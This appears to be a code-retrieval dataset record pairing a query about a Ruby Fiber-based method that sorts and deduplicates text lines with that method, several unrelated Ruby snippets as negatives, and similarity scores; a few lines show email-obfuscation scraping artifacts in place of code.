"def before_perform\n init\n\n @inputformat = params['informat'] ? params['informat'] : \"\"\n\n @colors = ['red', 'orange', 'yellow', 'darkgreen', 'green', 'lightblue', 'blue', 'violet', 'pink']\n #@colors = ['red', 'blue', 'yellow', 'darkgreen', 'pink', 'lightblue', 'orange', 'green', 'pink']\n\n @inputSequences = Array.new\n @inputTags = Array.new\n #@db_path = File.join(GCVIEW, 'tool.db')\n\n @db_path = File.join(DATABASES, 'gcview', 'tool.db')\n @show_number = params['show_number'] ? params['show_number'] : \"5\"\n @show_type = params['show_type'] ? params['show_type'] : \"genes\"\n @cut_off = params['evalue_cutoff'] ? params['evalue_cutoff'] : \"1e-3\"\n\n @input = @basename+\".in\"\n params_to_file(@input, 'sequence_input', 'sequence_file')\n @input_job = @basename+\".jin\"\n params_to_file(@input_job, 'jobid_input')\n #logger.debug \"Params seq inp: #{params.inspect}\"\n\n @input_jobid = false\n @input_sequence = false\n \n @outfile = @basename\n\n @configfile = @basename+\".conf\"\n\n @mainlog = job.statuslog_path\n\n @tmparray = Array.new\n @jobtype = Array.new\n @formerjob = ''\n \n if (params['sequence_input']!=nil || params['sequence_file']!=nil)\n if (@inputformat=='fas')\n check_fasta\n end\n\n if (@inputformat=='gi')\n check_GI\n end\n @input_sequence=true\n end\n\n if (params['jobid_input']!=nil)\n parse_sequencefile(@input_job)\n\n for i in [email protected]\n @inputSequences[i]=@inputSequences[i].gsub(/\\s+$/, '')\n end\n @input_jobid=true\n end\n\n if (@cut_off =~ /^e.*$/)\n @cut_off = \"1\" + @cut_off\n end\n\n\n\n # Angabe, wie viele Inputsequences bzw. JobIDs gegeben sind\n @inputSequences_length = @inputSequences.length\n logger.debug \"InputSequences Length: #{@inputSequences_length}\"\n\n logger.debug \"Input_Sequences (before_perform): #{@inputSequences.length} \"\n logger.debug \"tmparray (before_perform): #{@tmparray.length}\"\n logger.debug \"jobtype (before_perform): #{@jobtype.length}\"\n\n if (@inputSequences_length == 0)\n logfile = File.open(job.statuslog_path, \"w\")\n logfile.write(\"No valid input found -- Exiting...\")\n logfile.close \n self.status = STATUS_ERROR\n self.save!\n job.update_status\n raise \"No valid input found\" # just to be sure\n else\n write_configfile\n end\n\n #Check input format\n\n ### -> muss noch erledigt werden: jetzt allerdings Annahme, dass nur IDs eingegeben werden\n\n #if JobID: JobIDS getrennt ins Array @inputIDs speichern; Array-Laenge bestimmen\n\n #if (@inputformat=='jid')\n # 1) Testen, ob Jobs existieren und ob es sich um einen PsiblastJob handelt, dann in Array\n # einfuegen\n #-> erledigt: parse_sequencefile\n\n # 2) Arraylaenge bestimmen\n # @inputSequences_length = @inputSequences.length -> erledigt: in before_perform\n #if FASTA: bei Input einer Fasta-Sequenz gibt es nur ein Inputfile -> Array hat nur die Länge 1\n #else\n #Wird noch hinzugefuegt, allerdings erst nachdem der jid-Teil fertig ist ... .\n #end\n\n\n\n # Inputfiles aus den Psiblast-Tmp-Verzeichnissen holen + ins neue tmp-Verzeichnis speichern\n # -> für Anzahl der Psiblast-Jobs, die verwendet werden ... .\n #for (i=0; i<@inputSequences_length; i++)\n\n\n\n # 1) Input Format checken:\n # a) JobIDs: - IDs trennen\n # - Anzahl (nicht mehr als 10)\n # - IDs in ein Array schreiben und schauen, ob es diese ID überhaupt noch gibt\n # (Mysql Table zu JobID die MysqlID suchen, dann mit MysqlID im tmp-Verz.\n # schauen -> aehnlich Jobscard am li Rand)\n # -> Anzahl der Inputfiles richtet sich nach der Anzahl der JobIDs\n # b) FASTA: - Psiblast laufen lassen (ein Inputfile ...)\n # c) in Array abspeichern\n # 2) Arraylaenge der Inputfiles abspeichern\n end",
"def file_finished(file, offenses); end",
"def on_end_document()\n\n\t\tif ['PostgreSQL','MySQL'].include?(@source.connection.adapter_name) then\n\t\t\tresolve_ids_sql\n\t\t\t#resolve_ids_activerecord\n\t\telse\n\t\t\tresolve_ids_activerecord\n\t\tend\n\t\t\n\t\tputs UnresolvedId.count(:conditions => {:source_id => @source.id}).to_s + \" unresolved IDs\" if Debug > 3\n\n\t\t# add state_id to streets. this eases later lookup\n\t\t# We use a shortcut when we can, rails convention if we're not sure\n\t\tif ['PostgreSQL','MySQL'].include?(@source.connection.adapter_name) then\n\t\t\tadd_state_to_addresses_sql\n\t\telse\n\t\t\tadd_state_to_addresses_activerecord\n\t\tend\n\n\t\[email protected]_completed_at = Time.now\n\t\[email protected] = @contrib unless @contrib.nil?\n\t\[email protected]!\n\t\[email protected]\n\n\tend",
"def process_externals_lines\n File.open(file_name, \"r\") do |f|\n #File.open(\"./lib/externals/externals_table_data_input_lines.txt\", \"r\") do |f|\n f.each_line do |line|\n puts line.to_textual\n sleep(0.01)\n end\n end\n end",
"def store_processed_sequence(sequence_id, hour, processed_sequence)\n begin\n # getting the current date and time\n now = Time.now()\n\n # getting the string representation of the processed sequence\n str_data = processed_sequence.to_s()\n\n # writing information to file\n @processed_handle.write(\"#{now}\\t\\t\\t#{sequence_id}\\t\\t\\t#{hour}\\t\\t\\t#{str_data}\\n\")\n @processed_handle.flush()\n rescue Exception => e\n # building the error message\n msg = \"Hard drive error. Original error message:\\r\\n'#{e.message}'\"\n\n # writing message in console\n puts msg\n\n # raising the exception again\n raise e\n end\n end",
"def index_commands\n File.foreach \"/home/#{$username}/#{$filename}\" do |line|\n\tline = line.chomp\n\tif !$unique_seq.include?(line)\n\t $unique_seq << line\n\tend\n end\n File.foreach \"/home/#{$username}/#{$filename}\" do |line|\n\tline = line.chomp\n\t$observation_seq << $unique_seq.index(line)\n end\nend",
"def scan_file(file_name)\n \n #init variables\n seq_name = '';\n seq_fasta = '';\n seq_found = false;\n \n \n # for each line of the file\n File.open(file_name).each do |line|\n \n line.chomp!;\n # if line is name\n if line =~ /^>/\n \n #process previous sequence\n if seq_found\n on_process_sequence(seq_name,seq_fasta);\n end\n \n #get only name\n seq_name = line.gsub('>','');\n seq_fasta='';\n seq_found = true;\n \n else\n #add line to fasta of seq\n seq_fasta+=line;\n end\n \n end\n \n # when found EOF, process last sequence\n if seq_found\n on_process_sequence(seq_name,seq_fasta);\n end\n \n end",
"def at_end; end",
"def create_species_and_data\n # Entrance message\n puts \"** Creating new species from lifeviz/ubiota files using hagrid_ubid as the bridge\"\n puts \" Note! New species are species with data imported from lifeviz. Orphaned species \"\n puts \" are ubiota species with no associated lifeviz data.\"\n new_species = []\n orphaned_species = []\n \n # Open files\n lifeviz, ubiota, map = nil\n seed \"Opening data files\" do\n lifeviz = IO.popen(\"bunzip2 -c #{LIFEVIZ}\")\n ubiota = IO.popen(\"bunzip2 -c #{UBIOTA}\")\n map = IO.readlines(LIFEVIZ_UBIOTA)\n lifeviz && ubiota && map ? true : false\n end\n\n # Dump all species\n seed \"Removing existing species.\"\n progress \"Deleting\", Species.count do |progress_bar|\n Species.all.each do |species|\n species.delete\n progress_bar.inc\n end\n end\n\n # Dump all related data\n seed \"Removing any existing age, litter sizes, adult weights, birth weights data\" do\n Lifespan.delete_all && LitterSize.delete_all && AdultWeight.delete_all && BirthWeight.delete_all ? true : false\n end\n\n # Load taxon from lifeviz, let's use hpricot\n lifeviz_species, lifeviz_ages, lifeviz_development, lifeviz_refs = nil\n seed \"Loading lifeviz data with hpricot\" do\n doc = Hpricot::XML(lifeviz)\n lifeviz_species = (doc/'names')\n lifeviz_ages = (doc/'age')\n lifeviz_development = (doc/'development')\n lifeviz_refs = (doc/'refs')\n (lifeviz_species.size > 0 && lifeviz_ages.size > 0 && lifeviz_development.size > 0 && lifeviz_refs.size > 0) ? true : false\n end\n notice \"#{lifeviz_species.size} species loaded with #{lifeviz_ages.size} ages\"\n\n # Create new species array to load lifeviz species and attributes we want\n seed \"Loading new species and storing lifeviz data from lifeviz dump\"\n development_index = ref_index = 0\n progress \"Storing\", lifeviz_species.length do |progress_bar|\n lifeviz_species.each_with_index do |s, index|\n hagrid = (s/'id_hagr').inner_html.to_i\n x = {}\n x[:synonyms] = (s/'name_common').inner_html\n x[:age] = (lifeviz_ages[index]/'tmax').inner_html\n x[:context] = (lifeviz_ages[index]/'phenotype').inner_html\n x[:hagrid] = hagrid\n x[:references] = x[:context].scan(/\\[(\\d*)\\]/).flatten\n \n while lifeviz_development[development_index] && (lifeviz_development[development_index]/'hagrid').inner_html.to_i < hagrid\n notice \"#{(lifeviz_development[development_index]/'hagrid').inner_html} is less than #{hagrid}\"\n development_index += 1\n end\n # development attributes matches the current species id\n if lifeviz_development[development_index] && (lifeviz_development[development_index]/'hagrid').inner_html.to_i == hagrid\n development = lifeviz_development[development_index]\n if development && (development/'hagrid').inner_html.to_i == hagrid\n x[:adult_weight] = (development/'adult_weight').inner_html.blank? ? \"\" : (development/'adult_weight').inner_html.to_f\n x[:birth_weight] = (development/'birth_weight').inner_html.blank? ? \"\" : (development/'birth_weight').inner_html.to_f\n x[:litter_size] = (development/'litter_size').inner_html.blank? ? \"\" : (development/'litter_size').inner_html.to_f\n else\n x[:adult_weight] = \"\"\n x[:birth_weight] = \"\"\n x[:litter_size] = \"\"\n end\n development_index += 1\n end\n new_species << x\n progress_bar.inc\n end\n end\n notice \"#{new_species.length} new species stored\"\n\n # Load ubid ids into new species from mapping\n seed \"Loading mapped ubiota ids into new species\" do\n new_species_pointer = 0\n map.each do |line|\n hagrid, ubid = line.split(/\\s+/)\n while new_species[new_species_pointer] && hagrid.to_i != new_species[new_species_pointer][:hagrid]\n new_species_pointer += 1\n end\n new_species[new_species_pointer][:ubid] = ubid.to_i if new_species[new_species_pointer]\n end\n end\n\n # Remove any new species that have no ubid from mapping\n count = new_species.size\n seed \"Delete any new species that do not have a ubiota id mapped\", \n :success => \"Mappings completed\", \n :failure => \"No species had mappings\" do\n new_species.delete_if { |species| species[:ubid] == nil }\n new_species.length != 0 ? true : false\n end\n notice \"deleted #{count - new_species.size} species, #{new_species.size} remaining\"\n\n # Sort species by ubid\n seed \"Sorting new species by ubid\" do\n new_species = new_species.sort_by { |each| each[:ubid] }\n true\n end\n\n # Find and load ubiota genus ids and species name for each species\n # Ensure the rank is 6 (species level)\n # Set taxon_id to nil if the species inside ubiota doesn't exist\n seed \"Looking up and loading each new species' genus id from the ubiota data\"\n x = 0\n a_couple = 0\n num_lines = num_lines_bz2(UBIOTA)\n progress \"Matching\", num_lines do |progress_bar|\n ubiota.each do |line|\n id, term, rank, hierarchy, parent_id, num_children, hierarchy_ids = line.split(\"|\")\n # skip if we're not looking at a species level taxon\n if rank.to_i != 6\n progress_bar.inc\n next\n end\n if new_species[x].nil? || id.to_i != new_species[x][:ubid]\n y = {:taxon_id => parent_id.to_i, :name => term.to_s}\n orphaned_species << y\n if !new_species[x].nil? then new_species[x][:taxon_id] = nil end\n if !new_species[x].nil? && id.to_i > new_species[x][:ubid] then x += 1 end\n else\n new_species[x][:taxon_id] = parent_id.to_i\n new_species[x][:name] = term.to_s\n x += 1\n end\n progress_bar.inc\n end\n end\n notice \"traversed #{x} new species and #{orphaned_species.size} orphaned species\"\n\n # Remove any new species that has no genus in ubiota\n count = new_species.size\n seed \"Delete any species that had no genus id\" do\n new_species.delete_if { |species| species[:taxon_id] == nil }\n end\n notice success_string(\"deleted #{count - new_species.size} species, #{new_species.size} remaining\")\n\n # Remove any orphaned species that has no genus in ubiota\n count = orphaned_species.size\n seed \"Delete any orphaned species that had no genus id\" do\n orphaned_species.delete_if { |species| species[:taxon_id] == 0 }\n end\n notice success_string(\"deleted #{count - orphaned_species.size} species, #{orphaned_species.size} remaining\")\n\n # Create species with all the new species stored in memory\n count = species_without_parents = 0\n seed \"Saving all of the new species.\"\n\n progress \"Species\", new_species.length do |progress_bar|\n new_species.each_with_index do |taxon, index|\n s = new_species[index]\n species = Taxon.new(:name => s[:name], :parent_id => s[:taxon_id], :rank => 6, :id => s[:ubid])\n species.send(:create_without_callbacks)\n # # This was commented out because we're using Cera's lifespan data now.\n # unless s[:age].blank?\n # s[:references].each do |reference_id|\n # lifespan = Lifespan.new(:value_in_days => (s[:age].to_f * 365), :units => \"Years\", :species_id => species.id)\n # lifespan.context = s[:context]\n # lifespan.citation = Reference.find(reference_id).to_s\n # lifespan.created_by = ANAGE_USER_ID\n # lifespan.created_by_name = ANAGE_USER_NAME\n # lifespan.send(:create_without_callbacks)\n # end\n # end\n BirthWeight.new(\n :value_in_grams => (s[:birth_weight]),\n :units => \"Grams\",\n :species_id => species.id,\n :created_by => ANAGE_USER_ID,\n :created_by_name => ANAGE_USER_NAME\n ).send(:create_without_callbacks) unless s[:birth_weight].blank?\n AdultWeight.new(\n :value_in_grams => (s[:adult_weight]),\n :units => \"Grams\",\n :species_id => species.id,\n :created_by => ANAGE_USER_ID,\n :created_by_name => ANAGE_USER_NAME\n ).send(:create_without_callbacks) unless s[:adult_weight].blank?\n LitterSize.new (\n :value => (s[:litter_size]),\n :species_id => species.id,\n :created_by => ANAGE_USER_ID,\n :created_by_name => ANAGE_USER_NAME\n ).send(:create_without_callbacks) unless s[:litter_size].blank?\n count = index\n progress_bar.inc\n end\n end\n notice success_string(\"saved #{count - species_without_parents} species\")\n notice success_string(\"saved #{Lifespan.count} ages\")\n notice success_string(\"saved #{AdultWeight.count} adult weights\")\n notice success_string(\"saved #{BirthWeight.count} birth weights\")\n notice success_string(\"saved #{LitterSize.count} litter sizes\")\n notice failure_string(\"#{species_without_parents} species didn't have taxons matching taxon_id in our database\") if species_without_parents != 0\n\n # Create orphaned species with all the species stored in memory\n count = 0\n species_without_parents = 0\n seed \"Saving all the orphaned species\"\n progress \"Saving orphans\", orphaned_species.length do |progress_bar|\n orphaned_species.each_with_index do |s, index|\n taxon = Taxon.find_by_id(s[:taxon_id])\n if taxon == nil\n # notice failure_string(\"no taxon found with an id of #{s[:taxon_id].to_s} for species with ubid of #{s[:ubid].to_s}\")\n species_without_parents += 1\n else\n species = Taxon.new(:name => s[:name], :parent_id => taxon.id, :rank => 6)\n species.send(:create_without_callbacks)\n end\n count = index\n progress_bar.inc\n end\n end\n notice success_string(\"Phew!... saved #{count - species_without_parents} species\")\n notice failure_string(\"#{species_without_parents} species didn't have taxons matching taxon_id in our database\") if species_without_parents != 0\n\n seed \"Rebuilding heirarchical tree\" do\n Taxon.rebuild!\n end\n\n seed \"Vacuuming database\" do\n SQL.execute \"VACUUM ANALYZE;\"\n end\n\n notice \"Species creation is completed.\"\nend",
"def prepare_identities_from_files; end",
"def finish\r\n #\r\n end",
"def finish_loop\n run_hooks :coolio_after\n default_loop.stop\n finish_example\n end",
"def after(&block)\n @after << block\n end"
] | [
"0.589236",
"0.56867844",
"0.5574628",
"0.5516077",
"0.54441416",
"0.54441416",
"0.5395817",
"0.53481835",
"0.52646875",
"0.52332073",
"0.5228371",
"0.5208886",
"0.5206068",
"0.5206068",
"0.51739043",
"0.5160106",
"0.5130472",
"0.50951594",
"0.5053847",
"0.5053847",
"0.5013361",
"0.49968877",
"0.49938992",
"0.49936554",
"0.49412695",
"0.48887765",
"0.48678303",
"0.48487473",
"0.4844956",
"0.48105288",
"0.48082522",
"0.47901872",
"0.47808483",
"0.47757152",
"0.47619003",
"0.47595218",
"0.47522765",
"0.47451043",
"0.4737819",
"0.47366852",
"0.4723801",
"0.46873528",
"0.46873528",
"0.46873528",
"0.46873528",
"0.46873528",
"0.46873528",
"0.46873528",
"0.46873528",
"0.4679791",
"0.4678511",
"0.46652916",
"0.46603367",
"0.46603367",
"0.46603367",
"0.46491912",
"0.4644366",
"0.46426684",
"0.46363753",
"0.46353865",
"0.46223587",
"0.4617918",
"0.4613241",
"0.46079582",
"0.46078792",
"0.46078205",
"0.45649457",
"0.4559552",
"0.454975",
"0.45470405",
"0.45433813",
"0.45394906",
"0.45381272",
"0.453527",
"0.4533433",
"0.4532381",
"0.45316178",
"0.45288867",
"0.4528162",
"0.45218816",
"0.45197174",
"0.45178297",
"0.4516818",
"0.4516177",
"0.45147413",
"0.45078215",
"0.45059246",
"0.44884408",
"0.44795918",
"0.4470119",
"0.44685555",
"0.44633028",
"0.44576713",
"0.44575116",
"0.44551745",
"0.44465774",
"0.44436583",
"0.44324347",
"0.44277728",
"0.44264743"
] | 0.6073639 | 0 |
fiber this method first reads the input file and downcase sorts it, | def doing_verified_unique_researches # adjustable line length filter
consumer = Fiber.new do |producer, queue|
a = File.readlines("./tmp/insert_researches.txt")
@megadata = a.sort do |x,y|
x.downcase <=> y.downcase
end
@megadata_unique = @megadata.uniq
f = open("./tmp/database_doings/doing_uniques/uniques_done.txt", "a") do |f|
loop do
queue = producer.transfer(consumer, queue)
puts f << queue
queue.clear
end
raise StopIteration
end
end
producer = Fiber.new do |consumer, queue|
#IO.foreach("./tmp/database_doings/doing_uniques/uniques_todo.txt") do |line|
queue = ""
puts queue
@megadata_unique.each do |line|
sequence_text = line.to_textual.de_comma
if sequence_text.length < 52 # adjustable
puts "line ignored due to length"
elsif Sequence.find_by_sequence_text(sequence_text)
puts "line ignored as it is already in database : " + "#{sequence_text}"
else
sequence_creation = sequence_text.de_space unless nil
sequence_complete = sequence_text.split(//).sort.join('').strip unless nil
sequence_lexigram = lexigram_sequencer(sequence_text) unless nil
sequence_singular = sequence_complete.squeeze unless nil
description = "research"
reference = "literoti"
anagram = 0
name = 0
phrase = 0
research = 1
external = 0
internal = 0
created_at = "2011-12-21 12:12:00"
#line = "#{sequence_text}\n"
line = "#{sequence_text}\t#{sequence_creation}\t#{sequence_complete}\t#{sequence_lexigram}\t#{sequence_singular}\t#{description}\t#{reference}\t#{anagram}\t#{name}\t#{phrase}\t#{research}\t#{external}\t#{internal}\t#{created_at}\n"
queue << line
break unless line
consumer.transfer queue
queue.clear
end
end
end
raise StopIteration
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def humongous_sort\n list = File.readlines(file_name)\n full_list = list.sort_by { |x| x.downcase }\n end",
"def sorting_file\n a = File.readlines(file_name)\n a.sort do |x,y|\n x.downcase <=> y.downcase\n end\n end",
"def textualed\n list = File.readlines(file_name)\n full_list = list.sort_by { |x| x.downcase }\n while a = full_list.shift\n puts a unless nil? \n end\n end",
"def sort_file\n File.open(file_name) do |line|\n line.each do |x|\n puts \"#{x.to_textual}\"\n end\n end\n end",
"def doing_phrases_file_sort_and_unique\n a = File.readlines(\"./tmp/database_doings/doing_phrases/phrases_sorted.txt\")\n @megadeta = a.sort do |x,y|\n x.downcase <=> y.downcase\n end\n consumer = Fiber.new do |producer, queue|\n f = open(\"./tmp/database_doings/doing_phrases/phrases_ready_to_load.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n queue = \"\"\n puts queue\n\t @megadata_unique = @megadata.uniq\n queue << \"#{@megadata_unique}\"\n break unless @megadata_uniq\n consumer.transfer queue\n queue.clear\n raise StopIteration\n end \n consumer.transfer(producer, [])\n after_break\n end",
"def downcase(input); end",
"def sort_temp\n open(file_name) do |line|\n #File.open(\"../database_runs/temp-sort.txt\", \"r\") do |line|\n line.each_with_index do |i,x|\n #puts \"#{x}\" + \"#{i.to_textual}\"\n puts \"#{x}\"\n end\n end\n end",
"def downcase() end",
"def sort_by_line_length\n a = File.readlines(file_name)\n a.sort do |x,y|\n (y.downcase.length <=> x.downcase.length)\n end\n end",
"def swapcase() end",
"def analyse(file_path)\n fixed = 0\n words = []\n File.open(file_path, \"r:iso-8859-1\") do |f|\n words = f.readlines(sep=\" \")\n words.dup.each_with_index do |word, i|\n word.delete!(\" \")\n match, dist = @tree.best word.downcase\n if !match.nil? && dist != 0\n fixed+=1\n words[i] = capitalize_if_needed(word, match)\n # puts \"#{word} - #{match}\"\n end\n end\n end\n # print \"file: #{file_path}\\nwords: #{words.size}\\nfixed words:#{((fixed.to_f/(words.size).to_f)*100).round(2)}%\\n\"\n save words, file_path\n end",
"def occurences(file) # \n fileString = File.read(file).to_s # the text of the file is stored\n fileString = fileString.chars.sort.join # we sort it\n #puts \"the ordered charactors are\" # \n #puts fileString # \n write_handler = File.new(file+\"_result.out\", \"w\") # create a new file called that _out\n\n # \n result = \"\" # \n values = Hash.new(0) # create new hashtable\n fileString.chars.each do |char| # for each of the chara\\actors\n values[char.to_s] +=1 # add it to the hash\n end # \n values = values.sort_by {|_key, value| value} # sort by lmost common letter\n values = values.reverse # reverse it\n values.each do |val| # for each value\n write_handler.puts val[1].to_s+ \":\"+val[0].to_s # add it to the new file\n end # end\n write_handler.close # close file\n return result # return resullt\nend",
"def upcase() end",
"def downcase; end",
"def upcase(input); end",
"def initialize(files)\n @files = files.sort_by { |f| f.name.downcase }\n end",
"def sort_files!; end",
"def downcase!() end",
"def swapcase!() end",
"def reverse_words\n\tputs \"ERROR: Please give a valid filename as an argument.\" if ARGV[0] == nil\n\tFile.readlines(ARGV[0]).each do |line|\n\t\tline.gsub!(\"\\n\", \"\") if line.include? \"\\n\"\n\t\tword_reverser(line.split(\" \")) unless line.split[0] == nil\n\tend\nend",
"def main\n filelist = split_ts_export_main\n sort_lines_main(filelist)\n #reverse_lines_main\nend",
"def sorted(sentence)\n\tsentence.gsub!(/[^a-z0-9\\s]/i, '') #strip out punctuation\n\tsentence_array=sentence.split #split the uppercase sentence into an array using .split\n\tsentence_array.sort{|word1, word2| word1.upcase <=> word2.upcase} #sort the new uppercase array\n\nend",
"def downcase_keys\n end",
"def wordsorting (sentence)\n\t# removing punctuation and splitting sentence\n\twordlist = sentence.gsub(/\\W/, ' ').split(\" \")\n\t#sorting alpahbetically + upcase\n\tputs wordlist.sort_by { |word| word.upcase }\nend",
"def function_a\n#code\n\th = Hash.new\n\tFile.open('capitals.txt').each do |line|\n\t\ta = line.split(/,/)\n\t\ta[1][0] = ''\n\t\ta[1] = a[1].chomp(\"\\n\")\n\t\th[a[0].downcase] = a[1]\n\tend\n\twhile 1\n\t\tprint \"Ready: \"\n\t\tinput = gets.chomp\n\t\tif input.downcase == \"done\"\n\t\t\texit\n\t\telsif h[input.downcase] == nil\n\t\t\tputs \"nil\"\n\t\telsif h[input.downcase] != nil\n\t\t\tputs h[input.downcase]\n\t\tend\n\tend\nend",
"def start\n File.open(ARGV[0]).each do |line|\n text = line.chomp\n puts text.split(' ').reverse.join(' ')\n end\nend",
"def reorder_files\n files = Dir.glob(File.join(@dir,\"*\"))\n files.each{|f|\n @enroll_file = f if f.downcase.index('enroll')\n @attendance_file = f if f.downcase.index('att')\n @ili_file = f if f.downcase.index('ili') || f.downcase.index('h1n1')\n }\n end",
"def sort\n super { |x, y| x.file_name <=> y.file_name }\n end",
"def sort_array\n a = File.readlines(file_name)\n b = a.sort\n end",
"def initialize(filename=\"data/dictionary.txt\")\n file = File.new(filename, \"r\")\n @data = {}\n while (word = file.gets)\n if (word)\n word = word.chomp.upcase\n add_word(word)\n end\n end\n # @max_word_size = 4\n end",
"def sort\n if self.checkDestination\n\n if @interactive\n answer = readUserInput(\"Process '#{@filename}' ([y]/n): \")\n answer = answer.empty? ? 'y' : answer\n self.log('info', \"User Answer for file '#{@filename}': #{answer}\")\n if !answer.match(/y/) \n self.log('info',\"Skipping file '#{@filename}' due to user answer: '#{answer}'.\")\n return\n else\n self.log('info',\"Processing file '#{@filename}' due to user answer: '#{answer}'.\")\n end\n end\n\n if not author = get_author() or author.empty?\n self.log('error', \"File '#{@filename}' has not value for author set. Cannot sort file. Abort.\")\n exit 1\n end\n targetdir = @destination.chomp + '/' + author\n targetfile = targetdir + '/' + Pathname.new(@filename).basename.to_s\n\n # Create the target directory, if it does not exist yet.\n if !File.exists? targetdir\n\n # Check for similiar directory names which might indicate a typo in the\n # current directory name.\n if @typo and foundDir = self.findSimilarTargetdir(targetdir)\n\n self.log('info', \"Similar target found ('\" + foundDir + \"'). Request user input.\")\n puts 'Similar target directory detected:'\n puts 'Found : ' + foundDir\n puts 'Target: ' + targetdir\n while answer = readUserInput('Abort? ([y]/n): ')\n if answer.match(/(y|yes|j|ja|^$)/i)\n self.log('info','User chose to abort sorting.')\n puts 'Abort.'\n exit 0\n elsif answer.match(/(n|no)/i)\n self.log('info', 'User chose to continue sorting.')\n break\n end\n end\n end\n\n if @dryrun\n self.log('info', \"Dryrun: Created Directory '#{targetdir}'.\")\n else\n self.log('info', \"Created directory '#{targetdir}'.\")\n puts 'Created: ' + targetdir\n FileUtils.mkdir_p(targetdir)\n end\n end\n\n # Check if the file already exists\n # This does nothing so far\n if File.exists?(targetfile) and @overwrite\n self.log('info', \"File '#{@filename}' already exists. Overwrite active: replacing file.\")\n elsif File.exists?(targetfile) and !@overwrite\n self.log('info', \"File '#{@filename}' already exists, overwrite disabled: not replacing file.\")\n return true\n end\n\n if @copy\n\n if @dryrun\n self.log('info', \"Dryrun: Copy file '#{@filename}' to '#{targetdir}'.\")\n else\n self.log('info', \"Copy file '#{@filename}' to '#{targetdir}'.\")\n FileUtils.cp(@filename, targetdir)\n end\n\n else\n\n if @dryrun\n self.log('info', \"Dryrun: Move file '#{@filename}' to '#{targetdir}'.\")\n else\n self.log('info', \"Move file '#{@filename}' to '#{targetdir}'.\")\n FileUtils.mv(@filename, targetdir)\n end\n\n end\n\n end\n end",
"def alphabetized(s)\n s.scan(/[a-z]/i).sort_by(&:downcase).join\nend",
"def run\n fail('Unable to dedup and sort. No filename provided') and return unless @filename\n fail(\"Unable to dedupe and sort. #{@filename} does not exist\") and return unless File.exists?(@filename)\n sort_dedupe_merge\n end",
"def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tif RUBY_PLATFORM.downcase.include? 'mswin'\n\t\t\tfile = File.open(file_name)\n\t\t\tunless file.eof?\n\t\t\t\tfile.each_line do |line|\n\t\t\t\t\t# do something for each line (if using windows)\n\t\t\t\t\t# do not touch this! You have a Mac!\n\t\t\t\tend\n\t\t\tend\n\t\t\tfile.close\n\t\telse\n\t\t\tIO.foreach(file_name, encoding: \"utf-8\") do |line|\n\t\t\t\ttitle = cleanup_title line\n\t\t\t\t\tif title != nil\n\t\t\t\t\t\taddtoB(title)\n\t\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tsearch = \"\"\n#\t\twhile search != \"q\" # continues while user doesn't enter 1\n#\t\t\tputs(\"Enter a word [Enter 'q' to quit]:\") # prompts for user input\n#\t\t\tsearch = $stdin.gets.chomp # get input from user\n#\t\t\tif (search != \"q\") # if they typed in q, we don't want to create a title\n#\t\t\t\tprint(create_title(search)) # creates and prints title\n#\t\t\tend\n#\t\t\tputs \"\" # extra line for prettiness! ~\n#\t\tend\n\tend\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit\n\tend",
"def sortme(str)\n str.sort_by { |word| word.downcase }\nend",
"def alphabetize\n\nend",
"def file_2_list(f,lc=true)\n puts \"Loading records from file: #{f}\" if @verbose\n begin\n list=Array.new\n file = File.open(f, \"r\")\n file.each_line do |line|\n line=line.chomp.strip\n next if line.nil?\n next if line.empty?\n next if line =~ /^\\s*#/\n line=line.downcase if lc==true\n list.push(line.chomp.strip)\n end\n file.close\n return list\n rescue => ee\n puts \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n return nil\n end\n end",
"def words_from_file(text_file)\n File.read(text_file).downcase.gsub(/[^a-z]/, \" \").split\nrescue\n puts \"Please provide the following file: #{text_file}\"\n exit\nend",
"def downcase\n\t\tcollect(&:downcase)\n\tend",
"def file_2_list(f,lc=true)\n\t\tputs \"Loading records from file: #{f}\" if @verbose\n\t\tbegin\n\t\t\tlist=Array.new\n\t\t\tfile = File.open(f, \"r\")\n\t\t\tfile.each_line do |line|\n\t\t\t\tline=line.chomp.strip\n\t\t\t\tnext if line.nil?\n\t\t\t\tnext if line.empty?\n\t\t\t\tnext if line =~ /^\\s*#/\n\t\t\t\tline=line.downcase if lc==true\n\t\t\t\tlist.push(line.chomp.strip)\n\t\t\tend\n\t\t\tfile.close\n\t\t\treturn list\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def downcase_fields\n self.handle.downcase!\n end",
"def sorter(array)\n loop do\n switched = false\n for i in 0...array.length - 1\n if array[i].downcase > array[i + 1].downcase\n array[i], array[i + 1] = array[i + 1], array[i]\n switched = true\n end\n end\n break if !switched\n end\n array\nend",
"def readNames(path)\n return File.read(path).rstrip.split(/\\n/).map{|r| r.downcase.split(/\\|/)}\nend",
"def fix_convert_abbreviations_to_lower_case(options)\n input_file_spec = options['input'] || 'staging_dir/at_files'\n Repositext::Cli::Utils.change_files_in_place(\n config.compute_glob_pattern(input_file_spec),\n /\\.(at|pt|txt)\\z/i,\n \"Converting abbreviations to lower case\",\n options\n ) do |contents, filename|\n outcome = Repositext::Fix::ConvertAbbreviationsToLowerCase.fix(contents, filename)\n [outcome]\n end\n end",
